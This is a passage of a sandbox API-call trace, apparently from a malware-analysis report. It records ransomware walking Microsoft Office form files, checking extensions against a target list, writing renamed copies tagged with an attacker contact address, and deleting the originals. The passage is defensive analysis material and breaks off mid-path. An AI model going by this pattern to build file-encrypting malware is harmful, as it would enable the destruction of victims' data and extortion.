[0113.697] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0113.697] lstrlenW (lpString=".pdf") returned 4 [0113.697] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.697] lstrlenW (lpString=".xls") returned 4 [0113.697] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.697] lstrlenW (lpString=".xlsx") returned 5 [0113.697] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0113.697] lstrlenW (lpString=".ppt") returned 4 [0113.697] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".zip") returned 4 [0113.698] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString=".rar") returned 4 [0113.698] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString=".bz2") returned 4 [0113.698] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.698] lstrlenW (lpString=".7z") returned 3 [0113.698] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".dbf") returned 4 [0113.698] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".1cd") returned 4 [0113.698] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".jpg") returned 4 [0113.698] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".doc") returned 4 [0113.698] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0113.698] lstrlenW (lpString=".docx") returned 5 [0113.698] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0113.698] lstrlenW (lpString=".pdf") returned 4 [0113.698] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString=".xls") returned 4 [0113.698] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString=".xlsx") returned 5 [0113.698] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0113.698] lstrlenW (lpString=".ppt") returned 4 [0113.698] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".zip") returned 4 [0113.698] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString=".rar") returned 4 [0113.698] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0113.698] lstrlenW (lpString=".bz2") returned 4 [0113.698] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0113.698] lstrlenW (lpString=".7z") returned 3 [0113.698] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0113.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.698] lstrlenW (lpString=".dbf") returned 4 [0113.699] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0113.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.699] lstrlenW (lpString=".1cd") returned 4 [0113.699] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0113.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0113.699] lstrlenW (lpString=".jpg") returned 4 [0113.699] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0113.699] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0113.699] lstrlenW (lpString="EXITEM.CFG") returned 10 [0113.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0113.699] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=838) returned 1 [0113.700] CloseHandle (hObject=0x398) returned 1 [0113.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 0x20 [0113.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0113.700] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.700] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0113.702] GetLastError () returned 0x0 [0113.702] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x346, lpOverlapped=0x0) returned 1 [0113.756] WriteFile (in: hFile=0x3e0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x350, lpOverlapped=0x0) returned 1 [0113.759] ReadFile (in: hFile=0x398, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.759] WriteFile (in: hFile=0x3e0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0113.759] SetEndOfFile (hFile=0x3e0) returned 1 [0113.827] CloseHandle (hObject=0x3e0) returned 1 [0113.827] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.827] SetEndOfFile (hFile=0x398) returned 1 [0114.217] CloseHandle (hObject=0x398) returned 1 [0114.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.253] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\exitem.cfg")) returned 1 [0114.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.272] lstrlenW (lpString=".doc") returned 4 [0114.272] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.272] lstrlenW (lpString=".docx") returned 5 [0114.272] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0114.272] lstrlenW (lpString=".pdf") returned 4 [0114.272] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.272] lstrlenW (lpString=".xls") returned 4 [0114.272] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.272] lstrlenW (lpString=".xlsx") returned 5 [0114.272] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0114.272] lstrlenW (lpString=".ppt") returned 4 [0114.273] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".zip") returned 4 [0114.273] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".rar") returned 4 [0114.273] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".bz2") returned 4 [0114.273] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.273] lstrlenW (lpString=".7z") returned 3 [0114.273] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".dbf") returned 4 [0114.273] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".1cd") returned 4 [0114.273] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".jpg") returned 4 [0114.273] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".doc") returned 4 [0114.273] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".docx") returned 5 [0114.273] lstrcmpiW (lpString1=".docx", lpString2="M.CFG") returned -1 [0114.273] lstrlenW (lpString=".pdf") returned 4 [0114.273] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".xls") returned 4 [0114.273] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".xlsx") returned 5 [0114.273] lstrcmpiW (lpString1=".xlsx", lpString2="M.CFG") returned -1 [0114.273] lstrlenW (lpString=".ppt") returned 4 [0114.273] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".zip") returned 4 [0114.273] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".rar") returned 4 [0114.273] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString=".bz2") returned 4 [0114.273] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.273] lstrlenW (lpString=".7z") returned 3 [0114.273] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".dbf") returned 4 [0114.273] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".1cd") returned 4 [0114.273] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\EXITEM.CFG") returned 64 [0114.273] lstrlenW (lpString=".jpg") returned 4 [0114.273] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.274] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.274] lstrlenW (lpString="INFOMAIL.CFG") returned 12 [0114.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.818] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=616) returned 1 [0114.818] CloseHandle (hObject=0x3d0) returned 1 [0114.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 0x20 [0114.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.858] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.858] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0114.859] GetLastError () returned 0x0 [0114.859] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x268, lpOverlapped=0x0) returned 1 [0114.859] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x270, lpOverlapped=0x0) returned 1 [0114.860] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.860] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.860] SetEndOfFile (hFile=0x38c) returned 1 [0114.860] CloseHandle (hObject=0x38c) returned 1 [0114.860] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.860] SetEndOfFile (hFile=0x3b4) returned 1 [0114.862] CloseHandle (hObject=0x3b4) returned 1 [0114.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infomail.cfg")) returned 1 [0114.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.863] lstrlenW (lpString=".doc") returned 4 [0114.863] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.863] lstrlenW (lpString=".docx") returned 5 [0114.863] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0114.863] lstrlenW (lpString=".pdf") returned 4 [0114.863] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.863] lstrlenW (lpString=".xls") returned 4 [0114.863] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.863] lstrlenW (lpString=".xlsx") returned 5 [0114.863] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0114.863] lstrlenW (lpString=".ppt") returned 4 [0114.863] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.863] lstrlenW (lpString=".zip") returned 4 [0114.863] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.863] lstrlenW (lpString=".rar") returned 4 [0114.863] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.863] lstrlenW (lpString=".bz2") returned 4 [0114.863] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.863] lstrlenW (lpString=".7z") returned 3 [0114.863] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".dbf") returned 4 [0114.864] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".1cd") returned 4 [0114.864] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".jpg") returned 4 [0114.864] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".doc") returned 4 [0114.864] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString=".docx") returned 5 [0114.864] lstrcmpiW (lpString1=".docx", lpString2="L.CFG") returned -1 [0114.864] lstrlenW (lpString=".pdf") returned 4 [0114.864] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString=".xls") returned 4 [0114.864] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString=".xlsx") returned 5 [0114.864] lstrcmpiW (lpString1=".xlsx", lpString2="L.CFG") returned -1 [0114.864] lstrlenW (lpString=".ppt") returned 4 [0114.864] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".zip") returned 4 [0114.864] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString=".rar") returned 4 [0114.864] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString=".bz2") returned 4 [0114.864] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0114.864] lstrlenW (lpString=".7z") returned 3 [0114.864] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".dbf") returned 4 [0114.864] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".1cd") returned 4 [0114.864] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0114.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMAIL.CFG") returned 66 [0114.864] lstrlenW (lpString=".jpg") returned 4 [0114.864] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0114.864] lstrcmpiW (lpString1=".CFG", lpString2=".gold") returned -1 [0114.864] lstrlenW (lpString="OMSMMS.CFG") returned 10 [0114.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.865] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=615) returned 1 [0114.865] CloseHandle (hObject=0x3b4) returned 1 [0114.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 0x20 [0114.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0114.866] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.866] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0114.866] GetLastError () returned 0x0 [0114.866] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x267, lpOverlapped=0x0) returned 1 [0114.867] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x270, lpOverlapped=0x0) returned 1 [0114.869] ReadFile (in: hFile=0x3b4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.869] WriteFile (in: hFile=0x38c, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0114.869] SetEndOfFile (hFile=0x38c) returned 1 [0114.869] CloseHandle (hObject=0x38c) returned 1 [0114.870] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.870] SetEndOfFile (hFile=0x3b4) returned 1 [0114.872] CloseHandle (hObject=0x3b4) returned 1 [0114.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\omsmms.cfg")) returned 1 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\OMSMMS.CFG") returned 64 [0114.873] lstrlenW (lpString=".doc") returned 4 [0114.873] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".docx") returned 5 [0114.873] lstrcmpiW (lpString1=".docx", lpString2="S.CFG") returned -1 [0114.873] lstrlenW (lpString=".pdf") returned 4 [0114.873] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".xls") returned 4 [0114.873] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString=".xlsx") returned 5 [0114.873] lstrcmpiW (lpString1=".xlsx", lpString2="S.CFG") returned -1 [0114.873] lstrlenW (lpString=".ppt") returned 4 [0114.873] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0114.873] lstrlenW (lpString="C:\\Program Files\\Microsoft 